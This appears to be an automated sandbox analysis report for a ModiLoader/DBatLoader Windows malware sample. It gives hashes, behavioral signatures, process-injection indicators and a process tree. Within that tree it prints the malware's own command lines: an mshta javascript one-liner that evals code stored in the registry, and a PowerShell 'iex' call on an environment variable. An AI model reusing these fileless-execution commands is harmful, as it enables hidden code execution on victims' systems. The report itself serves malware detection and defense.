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Analysis
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max time kernel
149s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
08/12/2024, 07:44
Static task
static1
Behavioral task
behavioral1
Sample
d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe
Resource
win10v2004-20241007-en
General
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Target
d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe
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Size
268KB
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MD5
d5f835079adfe2c2cc9772c99c629c20
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SHA1
15218d52c737395fff6cc5ec3311f9c3a36a72f7
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SHA256
3e03e0ce02f93736fdc9fe338b62acf98f75d5d7c1f5a27b2af6f199db49bf7e
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SHA512
e4f58c346cce2ad2babf4eb2b652f5e2b500e303b66d7a7561d81664a6ed6596a4749eb2019285225bdd3d5da5947fca088c6f04fa5a7bb598ce998678f5d8d6
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SSDEEP
6144:BvQctIgBDrxn0TXxnPJa/dWzb8D4OgL0jTZ6HS9nSuW:b/F0TXxxaVWzb8DAL0J2S9S/
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Modiloader family
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5028 2960 mshta.exe 84 -
ModiLoader Second Stage 11 IoCs
resource yara_rule behavioral2/memory/996-2-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral2/memory/996-4-0x000000000D750000-0x000000000D810000-memory.dmp modiloader_stage2 behavioral2/memory/996-5-0x000000000D750000-0x000000000D810000-memory.dmp modiloader_stage2 behavioral2/memory/996-6-0x000000000D750000-0x000000000D810000-memory.dmp modiloader_stage2 behavioral2/memory/996-9-0x000000000D750000-0x000000000D810000-memory.dmp modiloader_stage2 behavioral2/memory/996-3-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral2/memory/996-8-0x000000000D750000-0x000000000D810000-memory.dmp modiloader_stage2 behavioral2/memory/996-7-0x000000000D750000-0x000000000D810000-memory.dmp modiloader_stage2 behavioral2/memory/996-10-0x000000000D750000-0x000000000D810000-memory.dmp modiloader_stage2 behavioral2/memory/996-31-0x0000000000400000-0x0000000000435000-memory.dmp modiloader_stage2 behavioral2/memory/996-32-0x000000000D750000-0x000000000D810000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation mshta.exe -
pid Process 2632 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4232 set thread context of 996 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 83 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 2632 powershell.exe 2632 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2632 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 4232 wrote to memory of 996 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 83 PID 4232 wrote to memory of 996 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 83 PID 4232 wrote to memory of 996 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 83 PID 4232 wrote to memory of 996 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 83 PID 4232 wrote to memory of 996 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 83 PID 4232 wrote to memory of 996 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 83 PID 4232 wrote to memory of 996 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 83 PID 4232 wrote to memory of 996 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 83 PID 4232 wrote to memory of 996 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 83 PID 4232 wrote to memory of 996 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 83 PID 4232 wrote to memory of 996 4232 d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe 83 PID 5028 wrote to memory of 2632 5028 mshta.exe 86 PID 5028 wrote to memory of 2632 5028 mshta.exe 86 PID 5028 wrote to memory of 2632 5028 mshta.exe 86
Processes
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C:\Users\Admin\AppData\Local\Temp\d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4232 -
C:\Users\Admin\AppData\Local\Temp\d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\d5f835079adfe2c2cc9772c99c629c20_JaffaCakes118.exe"2⤵
- System Location Discovery: System Language Discovery
PID:996
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:tyf9gnEE9="q";E00v=new%20ActiveXObject("WScript.Shell");me7feXW5="A0ZXgoBx";pGC6x4=E00v.RegRead("HKLM\\software\\Wow6432Node\\vClWCu7Yk\\eUkZC338J");cEU9zw1sd="8Imuds";eval(pGC6x4);nlc6U7wM="jOnU";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5028 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:jvwxd2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2632
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82